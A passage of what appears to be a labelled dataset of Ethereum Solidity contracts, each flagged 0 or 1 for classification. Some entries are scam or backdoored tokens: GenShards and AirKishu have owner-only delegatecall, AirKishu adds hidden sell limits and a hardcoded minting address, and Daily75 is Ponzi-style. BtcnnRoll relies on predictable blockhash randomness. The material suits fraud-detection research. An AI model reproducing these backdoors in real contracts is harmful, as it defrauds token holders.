function setUSDETHRate(uint256 _USDETHRate) public
onlyOwner() {
require(_USDETHRate > 0, "USDETH rate should not be zero");
USDETHRate = _USDETHRate;
cap = hardCapUSD.mul(USDETHRate);
}
} | 0 | 1,953 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ANWTokenCoin is MintableToken {
string public constant name = "Animal Walfare Token Contract";
string public constant symbol = "ANW";
uint32 public constant decimals = 18;
} | 1 | 4,055 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract GenShards is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 208969354000000000000000000;
string public name = "Gen Shards";
string public symbol = "GS";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,603 |
pragma solidity ^0.4.25;
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
uint256 constant MAX_UINT256 = 2**256 - 1;
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract NewTaiwanDollar is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'N0.1';
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 1 | 4,197 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AirKishu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,281 |
pragma solidity ^0.4.24;
contract Daily75 {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 125;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
address public ownerWallet;
address public owner;
address promoter1 = 0xC558895aE123BB02b3c33164FdeC34E9Fb66B660;
address promoter2 = 0x70C7Eac2858e52856d8143dec1a38bDEc9503eBc;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
promoter1.transfer(msg.value.div(100).mul(5));
promoter2.transfer(msg.value.div(100).mul(1));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,884 |
pragma solidity 0.4.25;
contract BTCNNInterface {
function getFrontEndTokenBalanceOf(address who) public view returns(uint);
function transfer(address _to, uint _value) public returns(bool);
function approve(address spender, uint tokens) public returns(bool);
}
contract BtcnnRoll {
using SafeMath
for uint;
modifier betIsValid(uint _betSize, uint _playerNumber) {
require(calculateProfit(_betSize, _playerNumber) < maxProfit &&
_betSize >= minBet &&
_playerNumber > minNumber &&
_playerNumber < maxNumber);
_;
}
modifier gameIsActive {
require(gamePaused == false);
_;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 99;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
bool public gamePaused;
address public owner;
address public BTCNNBankroll;
address public BTCNNTKNADDR;
BTCNNInterface public BTCNNTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
uint public totalBets;
uint public totalBTCNNWagered;
event LogBet(address sender, uint value, uint rollUnder);
event LogResult(address indexed player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
event CurrentContractBalance(uint _tokens);
constructor(address btcnntknaddr, address btcnnbankrolladdr) public {
owner = msg.sender;
BTCNNTKN = BTCNNInterface(btcnntknaddr);
BTCNNTKNADDR = btcnntknaddr;
BTCNNBankroll = btcnnbankrolladdr;
houseEdge = 990;
ownerSetMaxProfitAsPercentOfHouse(10000);
ownerSetMinBet(1e18);
BTCNNTKN.approve(btcnnbankrolladdr, MAX_INT);
}
function () public {
revert();
}
function maxRandom(uint blockn, address entropy) public view returns(uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
function random(uint256 upper, uint256 blockn, address entropy) internal view returns(uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
function calculateProfit(uint _initBet, uint _roll)
private
view
returns(uint) {
return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
struct playerRoll {
uint200 tokenValue;
uint48 blockn;
uint8 rollUnder;
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder) {
require(_tkn.value < ((2 ** 200) - 1));
require(block.number < ((2 ** 48) - 1));
require(_btcnnToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
roll.blockn = uint48(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll;
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
totalBets += 1;
totalBTCNNWagered += _tkn.value;
}
function finishBet() public
gameIsActive
returns(uint) {
return _finishBet(true, msg.sender);
}
function _finishBet(bool delete_it, address target) private returns(uint) {
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0);
require(roll.blockn != block.number);
uint result;
if (block.number - roll.blockn > 255) {
result = 1000;
} else {
result = random(99, roll.blockn, target) + 1;
}
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
uint profit = calculateProfit(roll.tokenValue, rollUnder);
if (profit > maxProfit) {
profit = maxProfit;
}
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
setMaxProfit();
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
BTCNNTKN.transfer(target, profit + roll.tokenValue);
return result;
} else {
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
contractBalance = contractBalance.add(roll.tokenValue);
playerRolls[target] = playerRoll(uint200(0), uint48(0), uint8(0));
setMaxProfit();
return result;
}
}
struct TKN {
address sender;
uint value;
}
function tokenFallback(address _from, uint _value, bytes _data) public returns(bool) {
require(msg.sender == BTCNNTKNADDR);
if (_from == BTCNNBankroll) {
contractBalance = contractBalance.add(_value);
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint8 chosenNumber = uint8(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner {
contractBalance = newContractBalance;
}
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner {
require(newMaxProfitAsPercent <= 200000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner {
minBet = newMinimumBet;
}
function ownerTransferBTCNN(address sendTo, uint amount) public
onlyOwner {
contractBalance = contractBalance.sub(amount);
setMaxProfit();
require(BTCNNTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
function ownerPauseGame(bool newStatus) public
onlyOwner {
gamePaused = newStatus;
}
function ownerSetBankroll(address newBankroll) public
onlyOwner {
BTCNNTKN.approve(BTCNNBankroll, 0);
BTCNNBankroll = newBankroll;
BTCNNTKN.approve(newBankroll, MAX_INT);
}
function ownerChangeOwner(address newOwner) public
onlyOwner {
owner = newOwner;
}
function ownerkill() public
onlyOwner {
BTCNNTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public {
BTCNNTKN.transfer(BTCNNBankroll, BTCNNTKN.getFrontEndTokenBalanceOf(this));
}
function _btcnnToken(address _tokenContract) private view returns(bool) {
return _tokenContract == BTCNNTKNADDR;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,710 |
pragma solidity ^0.4.11;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
